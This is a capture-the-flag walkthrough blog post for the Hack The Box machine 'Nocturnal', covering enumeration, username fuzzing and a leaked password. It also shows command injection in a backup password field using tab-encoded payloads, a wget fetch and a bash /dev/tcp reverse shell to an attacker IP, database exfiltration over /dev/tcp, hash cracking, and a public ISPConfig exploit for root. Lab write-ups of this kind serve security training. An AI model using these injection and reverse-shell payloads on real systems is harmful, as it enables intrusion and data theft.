684 words
3 minutes
HTB: Nocturnal (Linux/Easy)

Recon šŸ•µļø#

Network Enumeration#

TCP Scan#

ip=10.129.135.248
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

Based on the TCP scan results, the following ports are available for further assessment:

PortSoftwareVersionStatus
22/tcpsshttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)open
80/tcphttpttl 63 nginx 1.18.0 (Ubuntu)open

We can also observe that port 80 is open and running an Apache HTTP server on an Ubuntu server. Additionally, the scan discloses the domain nocturnal.htb:

let’s add it to our /etc/hosts file :

echo "$ip nocturnal.htb" | sudo tee -a /etc/hosts

Web Enumeration#

Port NUMBER: nocturnal.htb#

In the website we can see that it’s a service for Seamless Uploads: Easily upload Word, Excel, and PDF documents with just a few clicks:

Pasted image 20250424105149.png

It also has login and registration pages, but since we don’t have any credentials, let’s fuzz for directories.

Fuzzing directories :#
feroxbuster -u http://nocturnal.htb

Pasted image 20250424104624.png

We already know about the login and registration pages, but we’ve also discovered upload directories for both normal users and admins, as well as a backups directory.

Exploiting 🦈#

Foothold#

After creating an account, we gain access to an upload page where we can upload files. so let’s upload one and see what happens:

Pasted image 20250424111604.png

The files were uploaded successfully, and we can see the URL used to view them includes the username as a parameter this might be something we can brute-force:

Pasted image 20250424111530.png

ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=dummy.pdf' -w /usr/share/seclists/Usernames/Names/names.txt -H 'Cookie: PHPSESSID=t5of4nam9bb4jv5bg96o8cnsob'

And we get three usernames:

Pasted image 20250424113600.png

After visiting the directories, both tobias and admin had no available files to download:

http://nocturnal.htb/view.php?username=admin&file=dummy.pdf

Pasted image 20250424114121.png

But amanda does have one:

Pasted image 20250424114343.png

A .odt file is an OpenDocument Text file, which is the default file format used by LibreOffice Writer (an open-source alternative to Microsoft Word).

After downloading and opening it, we find a temporary password for Amanda’s account maybe she hasn’t changed it yet.

Pasted image 20250424123317.png

amanda:arHkG7HAI68X8s1J

After login in we get a new feature, which is a link to the admin panel:

Pasted image 20250424123709.png

After visiting the admin panel, we can see the source code of the website:

Pasted image 20250424124327.png

There is also a button to create backups. After spending some time studying the files, I found a possible vulnerability: the application takes the password, passes it through a custom filter to check for blacklisted characters, and then directly uses it in a command. This means we might be able to inject another command there:

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }
    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

Pasted image 20250424163923.png

If we intercept the request and check it out, we see how the password is passed:

Pasted image 20250424165223.png

Let’s try to inject a command like:

bash -c "id"

To craft our payload, we need to be a little bit careful. Since we can’t use spaces, we’ll use tabs instead:

password=%0Abash%09-c%09"id"%0A&backup=

Pasted image 20250424165442.png

Now that we have confirmed it, let’s get a reverse shell. We’ll start by putting the payload into a file Then, we’ll execute it in two steps: first, we’ll download the script, and second, we’ll trigger it by executing it:

bash -c 'bash -i >& /dev/tcp/10.10.16.9/6666 0>&1'

We will download it with:

password=%0Abash%09-c%09"wget%0910.10.16.9:6699/reverseShell"%0A&backup=

Then execute it:

password=%0Abash%09-c%09"bash%09reverseShell"%0A&backup=

And we get our reverse shell:

Pasted image 20250424172533.png

Privilege Escalation#

Shell as Tobias:#

While doing some manual enumeration, I found this database file. Let’s exfiltrate it and then check what’s inside:

Pasted image 20250424172948.png

cat nocturnal_database.db > /dev/tcp/10.10.16.9/6669

We see the password hashes for admin and Tobias:

sqlite> SELECT * FROM users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|frenzy|5b956dc4f880a4aa8c5f3e9f330df83c
sqlite> 

With a simple attempt using CrackStation, I was able to crack the hash. We’ll use the recovered password to SSH in as Tobias.

Pasted image 20250424173304.png

tobias:slowmotionapocalypse

Let’s ssh and get the first flag:

ssh tobias@nocturnal.htb

Pasted image 20250424173706.png

Shell as root:#

While manually enumerating, I found a locally running website on port 8080:

Pasted image 20250424173937.png

So, let’s create an SSH tunnel and check what’s inside:

ssh -L 1111:localhost:8080 tobias@nocturnal.htb

We can see a login interface for IPSconfig, and if we look at the source code of the page we see that’s it’s version 3.2:

Pasted image 20250424175252.png

And doing a quick google search, we see that it’s vulnerable to Code injection, with multiple public POCs:

Pasted image 20250424175419.png

Let’s use this one:

python3 exploit.py http://127.0.0.1:1111 admin slowmotionapocalypse

And we get our shell as root:

Pasted image 20250424175947.png

HTB: Nocturnal (Linux/Easy)
https://www.0xfr3nzy.com/posts/htb-nocturnal-linux-easy/
Author
0xfr3nzy
Published at
2025-08-17